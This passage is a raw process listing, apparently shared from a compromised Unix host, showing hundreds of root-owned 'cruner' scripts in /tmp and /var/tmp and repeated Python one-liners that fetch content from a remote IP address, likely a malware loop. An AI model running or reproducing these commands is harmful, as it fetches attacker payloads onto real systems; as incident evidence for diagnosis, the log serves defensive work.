15:45:48 ? 0:00 sleep 60 > root 12699 10883 0 15:45:21 ? 0:00 sleep 60 > root 20058 7503 0 - ? 0:00 <defunct> > root 22545 26043 0 15:45:47 ? 0:00 bash -sh > root 17250 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8503 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24993 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23557 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27763 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27889 22720 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 13960 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 978 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22693 19500 0 15:45:06 ? 0:00 sleep 60 > root 23470 4652 0 15:45:38 ? 0:00 bash -sh > root 28166 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10862 9456 0 15:43:19 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18976 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 28990 20618 0 15:45:27 ? 0:00 bash -sh > root 28656 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4506 5820 0 15:44:02 ? 0:00 bash -sh > root 23814 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8210 26297 0 15:45:58 ? 0:00 sleep 60 > root 16289 13673 0 15:45:22 ? 0:00 sleep 60 > root 15899 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 17500 19591 0 15:44:17 ? 0:00 bash -sh > root 5862 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5954 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7344 6670 0 15:43:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28805 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12539 18240 0 15:45:36 ? 0:00 bash -sh > root 4514 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9056 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1994 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21654 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13538 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 13568 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24175 25870 0 - ? 0:00 <defunct> > root 23845 28109 0 15:45:47 ? 0:00 bash -sh > root 3559 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21856 26410 0 15:44:53 ? 0:00 bash -sh > root 29491 16023 0 15:45:03 ? 0:00 bash -sh > root 22382 1 0 22:43:27 ? 0:00 sh /var/tmp/cruner > root 15766 15740 0 15:45:46 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22702 3703 0 - ? 0:00 <defunct> > root 1031 6852 0 15:45:31 ? 0:00 bash -sh > root 951 21822 0 - ? 0:00 <defunct> > root 14316 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21082 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7761 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15444 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27561 26891 0 15:45:18 ? 0:00 sleep 60 > root 15981 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28649 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28260 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19319 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24035 8581 0 15:45:47 ? 0:00 bash -sh > root 24143 28373 0 - ? 0:00 <defunct> > root 27600 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8107 20037 0 - ? 0:00 <defunct> > root 27430 23649 0 15:45:07 ? 0:00 bash -sh > root 27344 1 0 23:03:08 ? 0:00 sh /var/tmp/cruner > root 21659 7356 0 - ? 0:00 <defunct> > root 27858 7812 0 15:46:02 ? 0:00 sleep 60 > root 6618 22232 0 15:43:42 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19576 23182 0 - ? 0:00 <defunct> > root 18868 26051 0 - ? 0:00 <defunct> > root 4815 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9215 12462 0 15:45:25 ? 0:00 sleep 60 > root 22248 25641 0 15:45:47 ? 0:00 xargs kill -9 > root 14135 13014 0 15:46:04 ? 0:00 /bin/ksh -p /bin/kill -9 > root 28560 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12246 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 29466 17077 0 15:44:10 ? 0:00 bash -sh > root 13988 17461 0 15:45:59 ? 0:00 bash -sh > root 16395 21887 0 - ? 0:00 <defunct> > root 2254 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17933 16965 0 - ? 0:00 <defunct> > root 13854 3666 0 - ? 0:00 <defunct> > root 14255 29411 0 15:45:05 ? 0:00 bash -sh > root 20300 21514 0 15:43:57 ? 0:00 bash -sh > root 24170 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16955 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 850 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24463 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29402 19137 0 - ? 0:00 <defunct> > root 24258 24221 0 15:43:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19693 7099 0 - ? 0:00 <defunct> > root 16317 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 15548 12448 0 15:45:41 ? 0:00 sleep 60 > root 10096 16011 0 15:45:21 ? 0:00 bash -sh > root 11026 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27033 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18213 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 6887 27749 0 15:45:09 ? 0:00 sh /var/tmp/cruner > root 26280 7141 0 - ? 0:00 <defunct> > root 17718 27539 0 15:45:42 ? 0:00 bash -sh > root 21954 832 0 - ? 0:00 <defunct> > root 15757 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13149 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11526 11296 0 15:45:55 ? 0:00 sleep 60 > root 20215 28282 0 15:45:42 ? 0:00 sleep 60 > root 14149 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12844 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 4011 13827 0 15:45:28 ? 0:00 bash -sh > root 12607 9717 0 15:45:50 ? 0:00 bash -sh > root 1845 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5175 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 554 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9715 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 25351 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21098 20586 0 15:45:26 ? 0:00 sleep 60 > root 17643 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10087 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21093 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 19360 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21603 22960 0 15:44:58 ? 0:00 bash -sh > root 14611 25272 0 - ? 0:00 <defunct> > root 8560 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27031 4663 0 15:45:07 ? 0:00 sleep 60 > root 20141 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29699 20915 0 15:45:53 ? 0:00 sleep 60 > root 14132 3925 0 15:45:37 ? 0:00 bash -sh > root 16673 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29055 17572 0 15:46:02 ? 0:00 xargs kill -9 > root 20307 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20850 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 23109 19042 0 15:45:47 ? 0:00 bash -sh > root 6379 13504 0 - ? 0:00 <defunct> > root 12809 15646 0 - ? 0:00 <defunct> > root 5253 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24515 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5139 20645 0 - ? 0:00 <defunct> > root 3089 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16563 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17048 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10004 21290 0 15:45:50 ? 0:00 sleep 60 > root 7039 14233 0 - ? 0:00 <defunct> > root 28199 6872 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20244 29361 0 15:45:52 ? 0:00 bash -sh > root 18600 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20972 15938 0 15:46:04 ? 0:00 xargs kill -9 > root 17839 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19721 27075 0 15:46:00 ? 0:00 sleep 60 > root 11269 22582 0 15:43:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12336 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27799 3033 0 15:46:02 ? 0:00 sh /var/tmp/cruner > root 760 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10844 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3270 19571 0 - ? 0:00 <defunct> > root 18767 23344 0 15:45:29 ? 0:00 sleep 60 > root 16161 5959 0 - ? 0:00 <defunct> > root 16212 10880 0 - ? 0:00 <defunct> > root 20072 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16641 11328 0 15:46:04 ? 0:00 xargs kill -9 > root 22611 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27662 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 23157 17140 0 15:45:38 ? 0:00 bash -sh > root 1727 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15252 28645 0 - ? 0:00 <defunct> > root 1937 10434 0 15:45:48 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2015 17616 0 - ? 0:00 <defunct> > root 14995 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20683 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9602 9488 0 15:45:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13774 29393 0 15:45:59 ? 0:00 sh /var/tmp/cruner > root 2594 15703 0 15:43:36 ? 0:00 bash -sh > root 18502 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9557 7407 0 15:44:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6019 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19549 29298 0 - ? 0:00 <defunct> > root 27011 27315 0 15:41:27 ? 0:00 bash -sh > root 23074 15417 0 - ? 0:00 <defunct> > root 16142 2798 0 15:45:46 ? 0:00 bash -sh > root 25462 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12805 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26205 239 0 - ? 0:00 <defunct> > root 1126 11253 0 15:45:48 ? 0:00 sleep 60 > root 20035 28499 0 15:45:06 ? 0:00 sleep 60 > root 2321 22756 0 15:45:48 ? 0:00 bash -sh > root 29405 26879 0 15:44:10 ? 0:00 bash -sh > root 15200 15166 0 15:45:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12691 19418 0 - ? 0:00 <defunct> > root 21869 14192 0 15:45:52 ? 0:00 sleep 60 > root 21087 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23733 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22978 15930 0 15:44:08 ? 0:00 bash -sh > root 8385 21214 0 15:45:31 ? 0:00 bash -sh > root 22479 23046 0 15:45:26 ? 0:00 bash -sh > root 15403 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3635 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1389 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17123 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21769 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17702 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22874 25457 0 15:45:47 ? 0:00 sh /tmp/cruner > root 8526 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5344 1299 0 15:45:09 ? 0:00 bash -sh > root 8723 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11529 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24957 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11193 3572 0 15:45:10 ? 0:00 sleep 60 > root 24950 260 0 15:45:13 ? 0:00 sleep 60 > root 5263 5035 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13883 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25831 27809 0 15:46:01 ? 0:00 sleep 60 > root 9286 14331 0 15:45:31 ? 0:00 sleep 60 > root 15112 18872 0 15:44:52 ? 0:00 bash -sh > root 23746 12819 0 15:44:36 ? 0:00 bash -sh > root 16089 29223 0 15:45:12 ? 0:00 sleep 60 > root 16671 24329 0 15:44:30 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25692 15832 0 15:44:54 ? 0:00 sh /var/tmp/cruner > root 487 9762 0 - ? 0:00 <defunct> > root 4437 1981 0 - ? 0:00 <defunct> > root 4642 4634 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14015 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 55 10256 0 - ? 0:00 <defunct> > root 5174 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28664 28490 0 15:44:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16374 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25012 8369 0 15:45:13 ? 0:00 sleep 60 > root 21169 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8078 16573 0 15:45:49 ? 0:00 bash -sh > root 19275 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12462 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 4791 8250 0 - ? 0:00 <defunct> > root 17845 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 3065 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 1873 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 22618 2162 0 15:39:09 ? 0:00 bash -sh > root 26597 18144 0 15:45:18 ? 0:00 sleep 60 > root 5896 1722 0 15:44:23 ? 0:00 bash -sh > root 20581 10409 0 - ? 0:00 <defunct> > root 11967 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13703 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6033 26371 0 15:44:13 ? 0:00 bash -sh > root 17447 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21966 12918 0 15:44:53 ? 0:00 bash -sh > root 20631 28817 0 15:46:04 ? 0:00 bash -sh > root 12383 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6885 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15732 16230 0 15:45:25 ? 0:00 sleep 60 > root 10798 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29843 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20599 19011 0 15:46:04 ? 0:00 sh /tmp/cruner > root 3001 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18106 22760 0 15:46:04 ? 0:00 sleep 60 > root 13529 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16291 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3519 18504 0 - ? 0:00 <defunct> > root 17734 23001 0 - ? 0:00 <defunct> > root 6110 2092 0 15:44:42 ? 0:00 bash -sh > root 1147 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12464 4194 0 15:44:24 ? 0:00 bash -sh > root 23375 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18710 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20342 16531 0 15:45:52 ? 0:00 bash -sh > root 237 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16441 25017 0 15:46:04 ? 0:00 sh /var/tmp/cruner > root 3710 6057 0 15:45:48 ? 0:00 xargs kill -9 > root 18967 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 29632 6677 0 15:45:48 ? 0:00 bash -sh > root 21053 2809 0 15:45:52 ? 0:00 bash -sh > root 24847 5756 0 15:43:35 ? 0:00 bash -sh > root 16 29267 0 - ? 0:00 <defunct> > root 20451 16382 0 15:44:53 ? 0:00 bash -sh > root 22465 17491 0 - ? 0:00 <defunct> > root 26495 15433 0 15:45:07 ? 0:00 sleep 60 > root 19021 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28911 4338 0 15:46:02 ? 0:00 sleep 60 > root 24562 12643 0 15:44:45 ? 0:00 bash -sh > root 6024 11127 0 15:45:40 ? 0:00 xargs kill -9 > root 18466 13814 0 - ? 0:00 <defunct> > root 26718 25464 0 15:45:34 ? 0:00 sleep 60 > root 1946 10444 0 15:45:48 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1740 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 25563 25546 0 15:45:39 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24093 15190 0 15:44:54 ? 0:00 bash -sh > root 14981 25612 0 - ? 0:00 <defunct> > root 20644 6755 0 15:45:26 ? 0:00 sleep 60 > root 25235 2215 0 - ? 0:00 <defunct> > root 19557 21872 0 - ? 0:00 <defunct> > root 8620 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23936 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8417 8406 0 15:44:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18479 25553 0 15:45:02 ? 0:00 bash -sh > root 518 8476 0 - ? 0:00 <defunct> > root 27759 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8780 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24525 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18014 13039 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 16766 10233 0 - ? 0:00 <defunct> > root 10215 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15746 12208 0 15:46:00 ? 0:00 sleep 60 > root 26674 21857 0 15:45:23 ? 0:00 sleep 60 > root 12847 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 16739 22516 0 15:44:17 ? 0:00 bash -sh > root 1785 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22265 2678 0 15:45:47 ? 0:00 xargs kill -9 > root 17806 7008 0 15:45:42 ? 0:00 bash -sh > root 16715 25655 0 15:45:06 ? 0:00 sleep 60 > root 24928 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17969 14996 0 15:45:37 ? 0:00 bash -sh > root 17480 6419 0 15:44:17 ? 0:00 bash -sh > root 20283 4041 0 15:46:04 ? 0:00 sh /var/tmp/cruner > root 5541 23485 0 15:45:28 ? 0:00 sleep 60 > root 29202 12260 0 15:45:43 ? 0:00 sh /tmp/cruner > root 18562 18652 0 - ? 0:00 <defunct> > root 9680 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24292 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11323 11297 0 15:43:19 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19887 4657 0 - ? 0:00 <defunct> > root 11927 9108 0 15:45:36 ? 0:00 sh /var/tmp/cruner > root 20577 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13880 3051 0 15:45:37 ? 0:00 bash -sh > root 17423 17338 0 15:45:32 ? 0:00 xargs kill -9 > root 10192 18717 0 15:45:55 ? 0:00 bash -sh > root 14775 27200 0 15:46:04 ? 0:00 sh /tmp/cruner > root 2666 10945 0 15:46:02 ? 0:00 sleep 60 > root 22210 7286 0 - ? 0:00 <defunct> > root 15056 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16464 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21753 4066 0 - ? 0:00 <defunct> > root 5407 19346 0 - ? 0:00 <defunct> > root 5138 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26808 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11032 770 0 15:45:55 ? 0:00 bash -sh > root 7794 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21119 2448 0 15:45:33 ? 0:00 sleep 60 > root 2701 12650 0 15:46:02 ? 0:00 sleep 60 > root 26223 17085 0 - ? 0:00 <defunct> > root 13021 12651 0 - ? 0:00 <defunct> > root 16092 15044 0 15:43:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25665 21242 0 15:45:43 ? 0:00 xargs kill -9 > root 15682 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5734 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12753 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8331 11310 0 15:44:56 ? 0:00 bash -sh > root 9807 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22519 21765 0 - ? 0:00 <defunct> > root 12859 25720 0 15:46:04 ? 0:00 xargs kill -9 > root 8329 19991 0 15:45:45 ? 0:00 bash -sh > root 26683 26670 0 15:44:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5262 1858 0 15:45:54 ? 0:00 sleep 60 > root 23294 22596 0 15:45:57 ? 0:00 sleep 60 > root 20861 15993 0 15:45:17 ? 0:00 sleep 60 > root 9078 9918 0 15:45:05 ? 0:00 sleep 60 > root 16741 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4183 9869 0 - ? 0:00 <defunct> > root 2464 23227 0 15:45:19 ? 0:00 sleep 60 > root 24130 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8592 25409 0 - ? 0:00 <defunct> > root 5831 5609 0 15:44:23 ? 0:00 bash -sh > root 16113 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5965 28155 0 15:45:49 ? 0:00 bash -sh > root 23732 23726 0 15:44:49 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22990 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22767 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4786 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19049 4299 0 - ? 0:00 <defunct> > root 29924 26200 0 15:42:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12903 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6108 10683 0 - ? 0:00 <defunct> > root 21914 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1837 2698 0 15:45:44 ? 0:00 bash -sh > root 29069 2487 0 15:45:43 ? 0:00 xargs kill -9 > root 24073 16286 0 15:45:17 ? 0:00 sleep 60 > root 17208 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28608 18962 0 15:46:02 ? 0:00 sleep 60 > root 15740 9307 0 15:45:46 ? 0:00 bash -sh > root 7666 22496 0 15:45:20 ? 0:00 sleep 60 > root 24411 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26038 817 0 15:45:07 ? 0:00 sleep 60 > root 17995 26019 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 20207 15021 0 - ? 0:00 <defunct> > root 20486 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29302 28140 0 15:45:44 ? 0:00 sleep 60 > root 21122 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19146 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23819 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14673 3731 0 15:45:45 ? 0:00 bash -sh > root 4475 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7398 27626 0 15:45:58 ? 0:00 sleep 60 > root 6501 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28499 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5358 2716 0 15:45:54 ? 0:00 bash -sh > root 13560 13554 0 - ? 0:00 <defunct> > root 7025 26418 0 - ? 0:00 <defunct> > root 11902 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13129 8862 0 15:45:59 ? 0:00 sleep 60 > root 1893 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27061 19373 0 15:45:07 ? 0:00 sleep 60 > root 3045 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10800 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 8530 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 18241 25292 0 15:45:12 ? 0:00 bash -sh > root 7353 6768 0 15:45:28 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16769 14534 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8984 15747 0 15:45:49 ? 0:00 bash -sh > root 1425 18174 0 15:45:39 ? 0:00 sh /var/tmp/cruner > root 24485 2365 0 - ? 0:00 <defunct> > root 25760 11215 0 - ? 0:00 <defunct> > root 20137 4541 0 - ? 0:00 <defunct> > root 6081 27143 0 15:45:40 ? 0:00 /bin/ksh -p /bin/kill -9 > root 14174 11605 0 - ? 0:00 <defunct> > root 11772 11753 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24006 3711 0 - ? 0:00 <defunct> > root 18779 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29921 29433 0 15:44:37 ? 0:00 bash -sh > root 9223 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18658 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17978 867 0 - ? 0:00 <defunct> > root 26767 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 23197 7511 0 15:43:40 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10543 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10559 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 21532 13656 0 15:46:01 ? 0:00 sleep 60 > root 19579 18563 0 15:44:53 ? 0:00 bash -sh > root 24163 12366 0 15:45:38 ? 0:00 bash -sh > root 29972 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4945 20686 0 15:45:58 ? 0:00 bash -sh > root 28229 7118 0 15:45:27 ? 0:00 sleep 60 > root 27075 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24193 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8692 26529 0 - ? 0:00 <defunct> > root 18429 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27008 25954 0 15:45:53 ? 0:00 sleep 60 > root 16219 11503 0 15:45:02 ? 0:00 bash -sh > root 23979 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27338 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29400 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9120 2746 0 15:43:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20785 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 4219 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28983 24444 0 15:45:43 ? 0:00 sleep 60 > root 17449 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13759 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18577 22569 0 - ? 0:00 <defunct> > root 28150 1670 0 15:45:39 ? 0:00 xargs kill -9 > root 2908 2916 0 15:19:22 ? 0:00 /opt/csw/sbin/sshd -R > root 26638 14704 0 15:46:02 ? 0:00 xargs kill -9 > root 5182 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2581 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6166 932 0 15:46:03 ? 0:00 bash -sh > root 8232 16991 0 15:45:49 ? 0:00 sleep 60 > root 2693 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25829 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3206 10544 0 15:45:58 ? 0:00 sleep 60 > root 28361 21175 0 15:44:21 ? 0:00 bash -sh > root 5490 5466 0 15:45:49 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19251 14510 0 - ? 0:00 <defunct> > root 25531 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 2360 968 0 - ? 0:00 <defunct> > root 21692 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20097 26089 0 